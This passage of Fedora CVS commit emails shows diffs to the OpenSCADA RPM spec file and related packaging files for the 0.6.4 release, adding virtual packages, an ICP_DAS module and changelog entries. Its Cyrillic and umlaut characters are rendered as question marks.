+Requires: %name-Special-FLibSYS
+%description server
+The %name-server package is virtual package for OpenSCADA-server.
+%description server -l ru_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l uk_UA.UTF8
+????? %name-server ?? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l de_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+
+%package visStation
+Summary: OpenSCADA visual station.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-Vision
+%if 0%{?rhel}
+Requires: %name-UI-QTStarter
+Requires: %name-UI-QTCfg
+%endif
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description visStation
+The %name-visStation package is virtual package for visual
+station (OpenSCADA).
+%description visStation -l ru_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
+%description visStation -l uk_UA.UTF8
+????? %name-visStation ?? ??????????? ????? ??? ???????
+?????????? ??????? (OpenSCADA).
+%description visStation -l de_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
 
 %prep
 %setup -q -n %{srcname}
 %patch0 -p1 -b .fedora
+#%patch1 -p1 -b .openssl
 %{__sed} -i 's|/usr/lib/|%{_libdir}/|' data/oscada*.xml
 
 %build
@@ -870,7 +1111,8 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_modbus:--disable-ModBus} \
 	%{!?with_soundcard:--disable-SoundCard} \
 	%{!?with_qtcfg:--disable-QTCfg} \
-	%{!?with_qtvision:--disable-Vision} \
+	%{!?with_uivision:--disable-Vision} \
+	%{!?with_uivcaengine:--disable-VCAEngine} \
 	%{!?with_ssl:--disable-SSL} \
 	%{!?with_serial:--disable-Serial} \
 	%{!?with_sockets:--disable-Sockets} \
@@ -883,6 +1125,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_javalikecalc:--disable-JavaLikeCalc} \
 	%{!?with_logiclevel:--disable-LogicLev} \
 	%{!?with_daqgate:--disable-DAQGate} \
+	%{!?with_icpdas:--disable-ICP_DAS} \
 	%{!?with_selfsystem:--disable-SelfSystem} \
 	%{!?with_flibcomplex:--disable-FlibComplex1} \
 	%{!?with_flibmath:--disable-FlibMath} \
@@ -893,6 +1136,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 make %{?_smp_mflags}
 
 %install
+%{__rm} -rf %{buildroot}
 make DESTDIR=%{buildroot} install
 
 # let's try to get rid of rpath
@@ -966,6 +1210,7 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_javalikecalc: %exclude %{_libdir}/openscada/daq_JavaLikeCalc.so}
 %{?with_logiclevel: %exclude %{_libdir}/openscada/daq_LogicLev.so}
 %{?with_daqgate: %exclude %{_libdir}/openscada/daq_DAQGate.so}
+%{?with_icpdas: %exclude %{_libdir}/openscada/daq_ICP_DAS.so}
 %{?with_selfsystem: %exclude %{_libdir}/openscada/prot_SelfSystem.so}
 %{?with_firebird: %exclude %{_libdir}/openscada/bd_FireBird.so}
 %{?with_mysql: %exclude %{_libdir}/openscada/bd_MySQL.so}
@@ -977,8 +1222,10 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_webcfgd: %exclude %{_libdir}/openscada/ui_WebCfgD.so}
 %{?with_webvision: %exclude %{_libdir}/openscada/ui_WebVision.so}
 %{?with_http: %exclude %{_libdir}/openscada/prot_HTTP.so}
+%{?with_qtstarter: %exclude %{_libdir}/openscada/ui_QTStarter.so}
 %{?with_qtcfg: %exclude %{_libdir}/openscada/ui_QTCfg.so}
-%{?with_qtvision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivcaengine: %exclude %{_libdir}/openscada/ui_VCAEngine.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_SSL.so}
 %{?with_sockets: %exclude %{_libdir}/openscada/tr_Sockets.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_Serial.so}
@@ -992,6 +1239,15 @@ desktop-file-install --dir=%{buildroot}%
 %{_localstatedir}/spool/openscada/ARCHIVES/MESS/info
 %{_localstatedir}/spool/openscada/ARCHIVES/VAL/info
 
+%files plc
+%defattr(-,root,root)
+
+%files server
+%defattr(-,root,root)
+
+%files visStation
+%defattr(-,root,root)
+
 %files doc
 %defattr(-,root,root)
 %doc doc/*.pdf doc/Modules
@@ -1062,6 +1318,12 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/daq_DAQGate.so
 %endif
 
+%if 0%{?with_icpdas}
+%files DAQ-IcpDas
+%defattr(-,root,root)
+%{_libdir}/openscada/daq_ICP_DAS.so
+%endif
+
 %if 0%{?with_selfsystem}
 %files Protocol-SelfSystem
 %defattr(-,root,root)
@@ -1143,12 +1405,18 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/ui_QTCfg.so
 %endif
 
-%if 0%{?with_qtvision}
-%files UI-QTVision
+%if 0%{?with_uivision}
+%files UI-Vision
 %defattr(-,root,root)
 %{_libdir}/openscada/ui_Vision.so
 %endif
 
+%if 0%{?with_uivcaengine}
+%files UI-VCAEngine
+%defattr(-,root,root)
+%{_libdir}/openscada/ui_VCAEngine.so
+%endif
+
 %if 0%{?with_ssl}
 %files Transport-SSL
 %defattr(-,root,root)
@@ -1209,19 +1477,39 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
+- The change version for release 0.6.4
+- Moved Ui-VCAEngane module to the self package
+- Removed QTStarter module from the main package
+- Added the virtual plc, server, visStation packages
+- Some cosmetics.
+
+* Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
+- Adding self module ICP_DAS
+- Fixed Germany Language translations by Popkova Irina
+- Delete openscada-0.6.3.3-openssl.patch from previouns version
+- Adding the next version of the package.
+
+* Tue Sep 1 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.3-13
+- Adding Requires for webcfg, webcfgd, webvision, http and snmp
+- Some cosmetics.
+
+* Tue Aug 25 2009 Tomas Mraz <tmraz at redhat.com> - 0.6.3.3-12
+- rebuilt with new openssl
+
 * Mon Jul 27 2009 Popkov Aleksey <aleksey at oscada.org.ua> - 0.6.3.3-11
-- Fixed of macros %find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
+- Fixed of macros find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.3.3-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild.
 
 * Tue Jul 14 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-9
-- Adding %find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
+- Adding find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Tue Jun 30 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-8
 - Added of dependences in to self package demo
-- Fixed %preun section by Peter Lemenkov <lemenkov at gmail.com>
+- Fixed preun section by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Wed Jun 19 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-7
@@ -1299,7 +1587,7 @@ desktop-file-install --dir=%{buildroot}%
 - add Athena board specific build
 
 * Wed Nov 03 2004 Roman Savochenko <rom_as at fromru.com>
-- move the message arhives data to /var/spool/%{name}/ARHIVE/MESS
+- move the message arhives data to /var/spool/{name}/ARHIVE/MESS
 
 * Tue Apr 06 2004 Roman Savochenko <rom_as at fromru.com>
 - make 3 packages: OpenScada, OpenScada-devel, OpenScada-testdata

oscada.init.patch:
 oscada.init |   49 +++++++++++++++++++++++++++++++++++--------------
 1 file changed, 35 insertions(+), 14 deletions(-)

Index: oscada.init.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/oscada.init.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- oscada.init.patch	17 Jun 2009 13:16:42 -0000	1.3
+++ oscada.init.patch	13 Oct 2009 09:44:42 -0000	1.4
@@ -2,15 +2,6 @@ diff --git a/data/oscada.init b/data/osc
 index 21744dd..cdecaf8 100644
 --- a/data/oscada.init
 +++ b/data/oscada.init
-@@ -2,7 +2,7 @@
- #
- # Init file for OpenSCADA system demon.
- #
--# chkconfig: 2345 99 05
-+# chkconfig: - 99 05
- # description: Open SCADA System server daemon
- #
- # processname: openscada
 @@ -13,25 +13,45 @@ WITHOUT_RC_COMPAT=1
  # Source function library.
  . /etc/init.d/functions


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Jun 2009 12:12:07 -0000	1.3
+++ sources	13 Oct 2009 09:44:42 -0000	1.4
@@ -1 +1 @@
-f66f45c28ba9c50f0d38f8a2e76cd741  openscada-0.6.3.3.tar.gz
+9288241adecd71bd28a98695b7648965  openscada-0.6.4.tar.gz



From aleksey2005 at fedoraproject.org  Tue Oct 13 09:46:54 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Tue, 13 Oct 2009 09:46:54 +0000 (UTC)
Subject: rpms/openscada/EL-5 .cvsignore, 1.2, 1.3 import.log, 1.4,
	1.5 openscada.spec, 1.7, 1.8 oscada.init.patch, 1.2, 1.3 sources,
	1.3, 1.4
Message-ID: <20091013094654.08CFA11C00E8@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4459/EL-5

Modified Files:
	.cvsignore import.log openscada.spec oscada.init.patch sources 
Log Message:
Release OpenSCADA 0.6.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	15 Jun 2009 07:46:49 -0000	1.2
+++ .cvsignore	13 Oct 2009 09:46:53 -0000	1.3
@@ -1 +1 @@
-openscada-0.6.3.3.tar.gz
+openscada-0.6.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	19 Jun 2009 20:54:34 -0000	1.4
+++ import.log	13 Oct 2009 09:46:53 -0000	1.5
@@ -2,3 +2,4 @@ openscada-0_6_3_3-1_fc10:EL-5:openscada-
 openscada-0_6_3_3-5_fc10:EL-5:openscada-0.6.3.3-5.fc10.src.rpm:1245267728
 openscada-0_6_3_3-6_fc10:EL-5:openscada-0.6.3.3-6.fc10.src.rpm:1245335663
 openscada-0_6_3_3-7_fc10:EL-5:openscada-0.6.3.3-7.fc10.src.rpm:1245444543
+openscada-0_6_4-1_fc11:EL-5:openscada-0.6.4-1.fc11.src.rpm:1255427219


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/openscada.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- openscada.spec	27 Jul 2009 11:07:30 -0000	1.7
+++ openscada.spec	13 Oct 2009 09:46:53 -0000	1.8
@@ -14,6 +14,7 @@
 %bcond_without javalikecalc
 %bcond_without logiclevel
 %bcond_without daqgate
+%bcond_with icpdas
 # ======== Protocol ========
 %bcond_without selfsystem
 # ========= DATA BASES =====
@@ -31,15 +32,16 @@
 # ========== HTTP Protocol =========
 %bcond_without http
 # ========== QT Interfaces ==========
+%bcond_without uivcaengine
 # QT4 devel old in to CentOs
 %if 0%{?rhel}
 %bcond_with qtstarter
 %bcond_with qtcfg
-%bcond_with qtvision
+%bcond_with uivision
 %else
 %bcond_without qtstarter
 %bcond_without qtcfg
-%bcond_without qtvision
+%bcond_without uivision
 %define _desktopdir %_datadir/applications
 %define _iconsdir /usr/share/icons
 %endif
@@ -53,17 +55,20 @@
 %bcond_without flibsys
 %bcond_without systemtests
 
-# DIAMONDBOARDS - Only for x86_32
+# Only for x86_32
 %ifarch x86_64
-%if 0%{?with_diamondboards}
-%{error: DIAMONDBOARDS support available only for %{ix86} target}
+  %if 0%{?with_diamondboards}
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
 %endif
+  %if 0%{?with_icpdas}
+  %{error: ICP_DAS support available only for %{ix86} target }
+  %endif
 %endif
 
 Summary: Open SCADA system project
 Name: openscada
-Version: 0.6.3.3
-Release: 11%{?dist}
+Version: 0.6.4
+Release: 1%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -95,6 +100,7 @@ BuildRequires: libtool
 BuildRequires: desktop-file-utils
 BuildRequires: sed
 BuildRequires: chrpath
+BuildRequires: net-snmp-devel
 
 Requires(post): chkconfig
 Requires(preun): chkconfig
@@ -109,7 +115,7 @@ Open SCADA system. For access use accoun
 ???????? SCADA ???????. ??? ??????? ?????????????? ????? "root" ?? ??????
 "openscada".
 %description -l de_DE.UTF8
-Das offene SCADA System. Fuer den Zugang die Aufzeichnung "root" und das
+Das offene SCADA System. F?r den Zugang die Aufzeichnung "root" und das
 Kennwort "openscada" benutzen.
 
 %post
@@ -124,25 +130,26 @@ if [ $1 = 0 ]; then
  /sbin/chkconfig --del openscadad
 fi
 
+################## DAQ-System ###########################
 %if 0%{?with_diamondboards}
 %package DAQ-DiamondBoards
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-DiamondBoards
-The %name-DAQ-DiamondBoards allows access to Diamond systems DA boards.
-Includes support of Athena board.
+The %name-DAQ-DiamondBoards allows access to Diamond systems
+DA boards. Includes support of Athena board.
 %description DAQ-DiamondBoards -l ru_RU.UTF8
 ????? %name-DAQ-DiamondBoards ????????????? ?????? ? ?????? ?????
 ?????? ????? Diamond systems. ???????? ????????? ????????? ?????
 Athena.
 %description DAQ-DiamondBoards -l uk_UA.UTF8
-????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ????? ?????
-Diamond systems. ??????? ????????? ????????? ????? Athena.
+????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ?????
+????? Diamond systems. ??????? ????????? ????????? ????? Athena.
 %description DAQ-DiamondBoards -l de_DE.UTF8
-Das Paket %name-DAQ-DiamondBoards ermoeglicht den Zugang zur
-Datenerfassung der Firma Diamond systems.Es enthaelt die Unterstuetzung
-der Systemplatte Athena.
+Das Paket %name-DAQ-DiamondBoards erm?glicht den Zugang zur
+Datenerfassung der Firma Diamond Systems.Es enth?lt die
+Unterst?tzung der Systemplatte Athena.
 %endif
 
 %if 0%{?with_dcon}
@@ -160,8 +167,8 @@ Supported I-7000 DCON protocol.
 ????? %name-DAQ-DCON ????? ?????????? ???????????? ??????? DCON.
 ????????????? I-7000 DCON ????????.
 %description DAQ-DCON -l de_DE.UTF8
-Das Paket %name-DAQ-DCON ermoeglicht Verwirklichung des
-Kundenservices des DCON-Protoklls. Unterstueuzung Prototkoll
+Das Paket %name-DAQ-DCON erm?glicht Verwirklichung des
+Kundenservices des DCON-Protokolls. Unterst?zung des Protokolls
 I-7000 DCON.
 %endif
 
@@ -178,12 +185,13 @@ Supported Modbus/TCP, Modbus/RTU and Mod
 ????????? ModBus. ?????????????? Modbus/TCP, Modbus/RTU ?
 Modbus/ASCII ?????????.
 %description DAQ-ModBus -l uk_UA.UTF8
-????? %name-DAQ-ModBus ????? ?????????? ???????????? ModBus ???????.
+????? %name-DAQ-ModBus ????? ?????????? ????????????
+ModBus ???????.
 ????????????? Modbus/TCP, Modbus/RTU ?? Modbus/ASCII ?????????.
 %description DAQ-ModBus -l de_DE.UTF8
-Das Paket %name-DAQ-ModBus emoeglicht Realisierung des Kundenservices des
-ModBus - Protokolls. Unterstuetzt werden die Protokolle Modbus/TCP,
-Modbus/RTU ? Modbus/ASCII.
+Das Paket %name-DAQ-ModBus em?glicht die Implementierung des
+Kundenservices des ModBus-Protokolls. Unterst?tzt werden die
+Protokolle Modbus/TCP, Modbus/RTU ? Modbus/ASCII.
 %endif
 
 %if 0%{?with_soundcard}
@@ -198,14 +206,13 @@ The %name-DAQ-Soundcard allows access to
 %description DAQ-Soundcard -l uk_UA.UTF8
 ????? %name-DAQ-Soundcard ????? ?????? ?? ????? ???????? ?????.
 %description DAQ-Soundcard -l de_DE.UTF8
-Das Paket %name-DAQ-Soundcard ermoeglicht den Zugang zur Schallkarte.
+Das Paket %name-DAQ-Soundcard gew?hrt den Zugang zur Schallkarte.
 %endif
 
 %if 0%{?with_snmp}
 %package DAQ-SNMP
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
-BuildRequires: net-snmp-devel
 Requires: %{name} = %{version}-%{release}
 %description DAQ-SNMP
 The %name-DAQ-SNMP allows realising of SNMP client service.
@@ -215,8 +222,8 @@ The %name-DAQ-SNMP allows realising of S
 %description DAQ-SNMP -l uk_UA.UTF8
 ????? %name-DAQ-SNMP ????? ?????????? ???????????? SNMP ???????.
 %description DAQ-SNMP -l de_DE.UTF8
-Das Paket %name-DAQ-SNMP ermoeglicht Realisierung des Kundenservices
-des SNMP - Protokolls.
+Das Paket %name-DAQ-SNMP em?glicht die Implementierung des
+Kundenservices des SNMP-Protokolls.
 %endif
 
 %if 0%{?with_siemens}
@@ -237,9 +244,9 @@ for other.
 ????????? ???? Hilscher CIF ? ????????????? ????????? MPI ??
 ?????????? Libnodave ??? ??????.
 %description DAQ-Siemens -l de_DE.UTF8
-Das Paket %name-DAQ-Siemens, enthaelt die Datenquelle PLC Siemens
+Das Paket %name-DAQ-Siemens, enth?lt die Datenquelle PLC Siemens
 mittels der Karten Hilscher CIF durch Anwendung des MPI -
-Protokolls und der Bibliothek Libnodave fuer Anderes.
+Protokolls und der Bibliothek Libnodave f?r Anderes.
 %endif
 
 %if 0%{?with_system}
@@ -249,20 +256,20 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-System
 The %name-DAQ-System, allow operation system data acquisition.
-Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory, CPU and
-other.
+Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory,
+CPU and other.
 %description DAQ-System -l ru_RU.UTF8
 ????? %name-DAQ-System, ????????????? ???? ?????? ????????????
 ???????. ?????????????? ????????? ?????? ?? Linux: HDDTemp, Sensors,
 Uptime, Memory, CPU ? ??????.
 %description DAQ-System -l uk_UA.UTF8
 ????? %name-DAQ-System, ????? ???? ????? ??????????? ???????.
-????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime, Memory,
-CPU ?? ????.
+????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime,
+Memory, CPU ?? ????.
 %description DAQ-System -l de_DE.UTF8
-Das Paket %name-DAQ-System ermoeglicht Datenerfassung des
+Das Paket %name-DAQ-System erm?glicht die Datenerfassung des
 Operationssystems. Es werden die Datenquellen ?? Linux: HDDTemp,
-Sensors, Uptime, Memory, CPU und andere unterstuetzt.
+Sensors, Uptime, Memory, CPU und andere unterst?tzt.
 %endif
 
 %if 0%{?with_blockcalc}
@@ -277,7 +284,7 @@ The %name-DAQ-BlockCalc allows block bas
 %description DAQ-BlockCalc -l uk_UA.UTF8
 ????? %name-DAQ-BlockCalc, ????? ???????? ??????????.
 %description DAQ-BlockCalc -l de_DE.UTF8
-Das Paket %name-DAQ-BlockCalc gewaehrt den Blockrechner
+Das Paket %name-DAQ-BlockCalc gew?hrt den Blockrechner
 %endif
 
 %if 0%{?with_javalikecalc}
@@ -290,17 +297,18 @@ The %name-DAQ-JavaLikeCalc allows java-l
 function's libraries engine. User can create and modify function and
 libraries.
 %description DAQ-JavaLikeCalc -l ru_RU.UTF8
-????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java ????????
-????? ??????????? ? ?????? ?????????. ???????????? ????? ????????? ?
-?????????????? ??????? ? ??????????.
+????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java
+???????? ????? ??????????? ? ?????? ?????????. ???????????? ?????
+????????? ? ?????????????? ??????? ? ??????????.
 %description DAQ-JavaLikeCalc -l uk_UA.UTF8
 ????? %name-DAQ-JavaLikeCalc, ????? ???????? ?? ???? ?????? ?? Java
 ?????????? ?? ?????? ????????? ??????. ?????????? ???? ?????????? ??
 ???????????? ??????? ?? ??????????.
 %description DAQ-JavaLikeCalc -l de_DE.UTF8
-Das %name-DAQ-JavaLikeCalc, entaelt die auf java - aehnlicher Sprache
-begruendeten Bibliothekenrechner und -laufer. Der Nutzer kann Funktionen
-und Bibliotheken schaffen und modifizieren.
+Das %name-DAQ-JavaLikeCalc, ent?lt die auf der Java - ?hnlicher
+Sprache begr?ndeten Bibliothekenrechner und -l?ufer.
+Der Nutzer kann Funktionen und Bibliotheken schaffen und
+modifizieren.
 %endif
 
 %if 0%{?with_logiclevel}
@@ -311,11 +319,13 @@ Requires: %{name} = %{version}-%{release
 %description DAQ-LogicLevel
 The %name-DAQ-LogicLevel allows logic level paramers.
 %description DAQ-LogicLevel -l ru_RU.UTF8
-????? %name-DAQ-LogicLevel, ????????????? ?????????? ??????? ??????????.
+????? %name-DAQ-LogicLevel, ????????????? ?????????? ???????
+??????????.
 %description DAQ-LogicLevel -l uk_UA.UTF8
 ????? %name-DAQ-LogicLevel, ????? ???????? ?????? ??????????.
 %description DAQ-LogicLevel -l de_DE.UTF8
-Das Paket %name-DAQ-LogicLevel, enthaelt das logische Parameterlevel.
+Das Paket %name-DAQ-LogicLevel, enth?lt das logische
+Parameterlevel.
 %endif
 
 %if 0%{?with_daqgate}
@@ -333,8 +343,32 @@ OpenSCADA station to local OpenSCADA sta
 ????? %name-DAQ-Gate, ???????? ????????? ??????? ????? ??????????
 OpenSCADA ??????? ?? ?????????.
 %description DAQ-Gate -l de_DE.UTF8
-Das Paket %name-DAQ-Gate, ermoeglicht das Einschleusen der Datenquellen der
-entfernten OpenSCADA Stationen in die lokale.
+Das Paket %name-DAQ-Gate, erm?glicht das Einschleusen der
+Datenquellen der entfernten OpenSCADA Stationen in die lokale.
+%endif
+
+%if 0%{?with_icpdas}
+%package DAQ-IcpDas
+Summary: Open SCADA DAQ
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description DAQ-IcpDas
+The %name-DAQ-IcpDas, package allow realisation of ICP DAS
+hardware support. Include I87000 and I-7000 DCON modules
+and I-8000 fast modules.
+%description DAQ-IcpDas -l ru_RU.UTF8
+????? %name-DAQ-IcpDas, ????????????? ?????????? ?????????
+???????????? ICP DAS. ???????? ????????? I-87000
+? I-7000 DCON ??????? ? I-8000 ??????? ???????.
+%description DAQ-IcpDas -l uk_UA.UTF8
+????? %name-DAQ-IcpDas, ????? ?????????? ????????? ??????????
+ICP DAS. ????????? I-87000 ?? I-7000 DCON ??????
+?? I-8000 ?????? ??????.
+%description DAQ-IcpDas -l de_DE.UTF8
+Das Paket %name-DAQ-IcpDas, gew?hrt die Implementierung der
+Unterst?tzung der installierten Ausr?stung ICP DAS.
+Die Unterst?tzung von Modulen I-87000 und I-7000
+und Schnell-Modulen I-8000 DCON ist eingeschlossen.
 %endif
 
 %if 0%{?with_selfsystem}
@@ -353,9 +387,10 @@ generic functions.
 ????????? ??????? ???????.
 %description Protocol-SelfSystem -l de_DE.UTF8
 Das Paket %name-Protocol-SelfSystem, das eigene OpenSCADA -
-Protokoll, unterstuetzt Hauptfunktionen
+Protokoll, unterst?tzt die Hauptfunktionen
 %endif
 
+########################### BD-System ############################
 %if 0%{?with_firebird}
 %package DB-FireBird
 Summary: Open SCADA database
@@ -369,7 +404,8 @@ The %name-DB-FireBird allow support of t
 %description DB-FireBird -l uk_UA.UTF8
 ????? %name-DB-FireBird, ?????? ??. ????? ????????? ?? FireBird.
 %description DB-FireBird -l de_DE.UTF8
-Das Paket %name-DB-FireBird Ermoegliht die FireBird Dateibasenunterstuetzung.
+Das Paket %name-DB-FireBird Gew?hrt die
+FireBird-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_mysql}
@@ -385,7 +421,7 @@ The %name-DB-MySQL package allow support
 %description DB-MySQL -l uk_UA.UTF8
 ????? %name-DB-MySQL, ????? ????????? ?? MySQL.
 %description DB-MySQL -l de_DE.UTF8
-Das Paket %name-DB-MySQL Ermoeglicht die MySQL-Dateibasenunterstuetzung.
+Das Paket %name-DB-MySQL gew?hrt die MySQL-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_dbf}
@@ -394,13 +430,16 @@ Summary: Open SCADA database
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DB-DBF
-The %name-DB-DBF package allow support of the *.dbf files, version 3.0.
+The %name-DB-DBF package allow support of the *.dbf files,
+version 3.0.
 %description DB-DBF -l ru_RU.UTF8
-????? %name-DB-DBF, ????????????? ????????? *.dbf ??????, ?????? 3.0..
+????? %name-DB-DBF, ????????????? ????????? *.dbf ??????,
+?????? 3.0.
 %description DB-DBF -l uk_UA.UTF8
 ????? %name-DB-DBF, ????? ????????? *.dbf ??????, ?????? 3.0.
 %description DB-DBF -l de_DE.UTF8
-Das Paket %name-DB-DBF ermoeglicht die *.dbf Dateiunterstutzung, Versionen 3.0..
+Das Paket %name-DB-DBF gew?hrt die *.dbf Dateiunterst?tzung,
+Versionen 3.0.
 %endif
 
 %if 0%{?with_sqlite}
@@ -415,25 +454,27 @@ The %name-DB-SQLite package allow suppor
 %description DB-SQLite -l uk_UA.UTF8
 ????? %name-DB-SQLite, ????? ????????? ?? SQLite.
 %description DB-SQLite -l de_DE.UTF8
-Das Paket %name-DB-SQLite ermoeglicht die DB SQLite - Unterstuetzung.
+Das Paket %name-DB-SQLite gew?hrt die DB SQLite - Unterst?tzung.
 %endif
 
+############################# ARH-System ############################
 %if 0%{?with_dbarch}
 %package ARH-DBArch
 Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-DBArch
-The %name-ARH-DBArch package allow functions for messages and values
-arhiving to DB.
+The %name-ARH-DBArch package allow functions for messages and
+values arhiving to DB.
 %description ARH-DBArch -l ru_RU.UTF8
-????? %name-ARH-DBArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ??.
+????? %name-ARH-DBArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ??.
 %description ARH-DBArch -l uk_UA.UTF8
-????? %name-ARH-DBArch, ????? ??????? ????????? ??????????? ?? ??????? ?? ??.
+????? %name-ARH-DBArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??.
 %description ARH-DBArch -l de_DE.UTF8
-Das Paket %name-ARH-DBArch gewaehrt Archivierungsfunktionen der Mitteilungen
-und Bedeutungen fuer DB.
+Das Paket %name-ARH-DBArch gew?hrt Archivierungsfunktionen
+der Nachrichten und Bedeutungen f?r DB.
 %endif
 
 %if 0%{?with_fsarch}
@@ -442,24 +483,33 @@ Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-FSArch
-The %name-ARH-FSArch allow functions for messages and values arhiving
-to file system.
+The %name-ARH-FSArch allow functions for messages and values
+arhiving to file system.
 %description ARH-FSArch -l ru_RU.UTF8
-????? %name-ARH-FSArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ???????? ???????.
+????? %name-ARH-FSArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ???????? ???????.
 %description ARH-FSArch -l uk_UA.UTF8
-????? %name-ARH-FSArch, ????? ??????? ????????? ??????????? ?? ??????? ??
-??????? ???????.
+????? %name-ARH-FSArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??????? ???????.
 %description ARH-FSArch -l de_DE.UTF8
-Das Paket %name-ARH-FSArch gewaert Archivierungsfunktionen fuer Mitteilungen
-und Bedeutungen fuer Dateisystem.
+Das Paket %name-ARH-FSArch gew?hrt Archivierungsfunktionen
+f?r Nachrichte und Bedeutungen f?r Dateisystem.
 %endif
 
+############################# UI-System ##############################
 %if 0%{?with_webcfg}
 %package UI-WebCfg
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfg
 The %name-UI-WebCfg allows the WEB based OpenSCADA system
 configurator.
@@ -470,7 +520,7 @@ configurator.
 ????? %name-UI-WebCfg, ????? WEB ????????? ???????????? ???????
 OpenSCADA.
